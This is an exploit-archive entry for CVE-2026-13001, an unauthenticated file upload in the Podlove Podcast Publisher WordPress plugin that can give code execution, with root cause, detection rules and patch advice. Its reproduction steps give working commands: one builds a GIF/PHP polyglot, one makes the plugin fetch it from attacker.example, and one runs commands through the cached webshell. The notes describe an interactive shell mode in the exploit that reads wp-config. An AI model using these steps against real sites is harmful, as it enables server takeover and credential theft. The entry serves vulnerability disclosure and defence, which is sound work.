Podlove Podcast Publisher WordPress Plugin Unauthenticated Upload via Extension Confusion (CVE-2026-13001)
Published: 2026-11-27 • Researcher: ghostpels (ghostpel-sec); the CVE was reported through Wordfence by Talal Nasraddeen
- Severity
- Critical
- CVE
- CVE-2026-13001
- Category
- web
- Affected product
- Podlove Podcast Publisher plugin for WordPress (slug podlove-podcasting-plugin-for-wordpress)
- Affected versions
- All versions up to and including 4.5.1; fixed in 4.5.2
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-13001
- https://github.com/ghostpels/CVE-2026-13001
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/podlove-podcasting-plugin-for-wordpress/podlove-podcast-publisher-451-unauthenticated-arbitrary-file-upload-via-podlove-image-cache-url-parameter
- https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387
- https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-23 (upstream commit 831f5c5, 2026-07-23 16:11:34 +0700) |
| Author / Researcher | ghostpels (ghostpel-sec); the CVE was reported through Wordfence by Talal Nasraddeen |
| CVE / Advisory | CVE-2026-13001 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, NVD: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized |
| Tags | WordPress, Podlove Podcast Publisher, arbitrary file upload, extension confusion, polyglot, unauthenticated, RCE, CWE-20, PHP |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Podlove Podcast Publisher plugin for WordPress (slug podlove-podcasting-plugin-for-wordpress) |
| Versions Affected | All versions up to and including 4.5.1; fixed in 4.5.2 |
| Language / Platform | PHP on WordPress; the PoC is Python 3 and works against any reachable WordPress install with the plugin active |
| Authentication Required | No. The image cache download is triggered from the public front end |
| Network Access Required | Yes, HTTP or HTTPS to the WordPress site, plus an attacker-controlled static host for the polyglot payload |
Summary
CVE-2026-13001 is an unauthenticated arbitrary file upload in the Podlove Podcast Publisher plugin for WordPress. The plugin downloads remote images into its cache when given a URL through the image cache parameter, and it validates the file extension with one function while naming the saved file with a different one. A URL such as payload.php?.gif passes the image check as a GIF while the saved file keeps a PHP extension, so an attacker can place executable PHP inside the public cache tree and run it. NVD rates the issue 9.8 Critical and states that remote code execution is possible.
Vulnerability Details
Root Cause
The plugin parses the same attacker-supplied URL twice with different helpers and reaches different conclusions. The validation routine is_image() calls basename() first, and basename() keeps the query string, so pathinfo() reports the extension of payload.php?.gif as gif; the GIF89a header in the polyglot satisfies the content check through exif_imagetype() and the WordPress filetype helper, and the denylist of PHP extensions is never hit. The naming routine extract_file_extension() instead runs parse_url() and then pathinfo() on the path component only, which strips the query string and yields php. The file is therefore written as {name}_original.php under wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/, inside a directory that the web server serves and executes. NVD classifies the flaw as CWE-20, improper input validation, and notes the missing file type validation in the podlove_handle_cache_files function.
Attack Vector
A single unauthenticated GET to the front end with the cache parameters, for example /?podlove_image_cache_url=<hex-encoded URL>&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name=<name>, or the pretty-permalink form /podlove/image/<hex>/100/100/0/<name>. The URL passed in the parameter is hex encoded and ends in ?.gif, pointing at the attacker’s static GIF89a PHP polyglot. The plugin fetches it, validates it as an image, and stores it with a .php extension. The PoC then computes the cache path from the md5 of the URL and sanitised filename and requests the stored file.
Impact
Remote code execution as the web server user once the cached PHP file is requested. An attacker can read wp-config.php and the database credentials, take over the WordPress install, upload further tooling, and pivot from the host. Because the trigger is a single unauthenticated front-end request, any reachable site running 4.5.1 or earlier is exposed, and the cached file persists in the public cache directory until it is purged.
Environment / Lab Setup
OS: Any Linux host capable of running WordPress and MySQL/MariaDB
Target: WordPress + podlove-podcasting-plugin-for-wordpress <= 4.5.1
Attacker: Linux or macOS with Python 3 and a static file host for the polyglot
Tools: Python 3, requests; any static web server, S3/R2 bucket or raw gist for the payloadSetup Steps
| |
The upstream repository ships no Dockerfile or vulnerable image; a lab must provide its own WordPress install with the 4.5.1 plugin release and a static payload host. No exploit code was executed while preparing this entry.
Proof of Concept
Step-by-Step Reproduction
Confirm the plugin version - The PoC probes the plugin readme and main file for a version string.
Shell script1curl -s http://podlove.test/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/readme.txt | grep -i 'stable tag'Host the polyglot - A file whose first six bytes are GIF89a and whose body is valid PHP must be reachable as raw content.
Shell script1 2printf 'GIF89a\n/*\n<?php echo "PODLOVE_RCE_TEST"; ?>\n' > payload.php # serve payload.php from a static host that does not execute PHPTrigger the cache download - Hex encode the payload URL with the deceptive suffix and pass it to the plugin front end.
Shell script1 2 3HEX=$(python3 -c "print('https://attacker.example/payload.php?.gif'.encode().hex())") curl -s -o /dev/null -w '%{http_code}\n' \ "http://podlove.test/?podlove_image_cache_url=$HEX&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name=shell"Request the cached PHP file - The PoC derives the cache subdirectory from the md5 of the URL plus sanitised filename and verifies execution with a command.
Shell script1curl -s "http://podlove.test/wp-content/cache/podlove/<xx>/<rest>/shell_original.php?cmd=echo PODLOVE_RCE_TEST"
Exploit Code
See
exploit.pyin this folder.
| |
The script tries both permalink and query-string trigger forms, several candidate hashes (with and without the query suffix), and several filename patterns before reporting a hit.
Expected Output
[+] Payload accessible, GIF header detected (62 bytes)
[+] http://podlove.test - VULNERABLE!
Shell: http://podlove.test/wp-content/cache/podlove/ab/cdef.../shell_original.php
[+] Shell is responsive and executing commands!Vulnerable targets are appended to the output file as target_url|shell_url.
Detection & Indicators of Compromise
GET /?podlove_image_cache_url=68747470733a2f2f...3f2e676966&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name=shell
GET /podlove/image/68747470733a2f2f...3f2e676966/100/100/0/shell
GET /wp-content/cache/podlove/<xx>/<rest>/shell_original.php?cmd=idSIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2026-13001 Podlove image cache extension confusion"; flow:to_server,established; content:"podlove_image_cache_url"; http_uri; content:"3f2e676966"; http_uri; reference:cve,2026-13001; sid:9000130;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Podlove Podcast Publisher to 4.5.2 or later, which makes the extension parsing consistent between validation and file naming. |
| Workaround | Disable the image cache feature until patched, block podlove_image_cache_url requests carrying ?. / hex-encoded external URLs at the WAF, and deny PHP execution inside wp-content/cache/. |
| Config Hardening | Delete the contents of wp-content/cache/podlove/, audit that tree for unexpected PHP files, restrict outbound HTTP from the web host, and monitor cache writes for non-image extensions. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/ghostpels/CVE-2026-13001 (0 stars, pushed 2026-07-23, Python).
Review verdict: ingested. The tool is a genuine exploit rather than a scanner: it builds the ?.gif extension-confusion URL, hex encodes it, drives the real cache parameters and permalink route, reconstructs the cache path from the md5 of URL plus filename, and verifies code execution on the cached file by checking for a marker in the response. It matches the Wordfence and NVD description of the extension parsing mismatch, and the bundled analysis documents the vulnerable PHP functions and the 4.5.2 fix.
Omission (malware-adjacent module): the upstream repository also ships shell_polyglot.gif.php, a ready-made GIF89a PHP webshell with a ?cmd= system() handler, and exploit.py includes an interactive post-exploitation shell mode (--shell-url, !wpconfig, !download). Per archiving policy the standalone webshell payload file was NOT copied; operators should supply their own inert polyglot for lab verification. The interactive mode remains in the archived exploit.py because it is part of the exploit’s verification flow, and it is documented here rather than removed so the copy stays faithful to upstream.
License: the repository is distributed under the ghostpel-sec Security Research License 1.0, which permits use, copying and redistribution for authorized security research provided the license and attribution are retained; the LICENSE file is included. The license prohibits unauthorized access and standalone commercial resale.
Limitations: success depends on the plugin hash construction matching the PoC’s guesses (the script tries three hash variants and several filename patterns, and reports only when the marker or command output is observed); the payload must be served as static content, since a PHP-executing host would run the code on the attacker side instead of delivering it; the cache path assumes a reachable wp-content/cache/podlove/ tree and that PHP executes there; bulk mode removes any existing output file before it starts. No exploit code was executed during preparation of this entry.
| |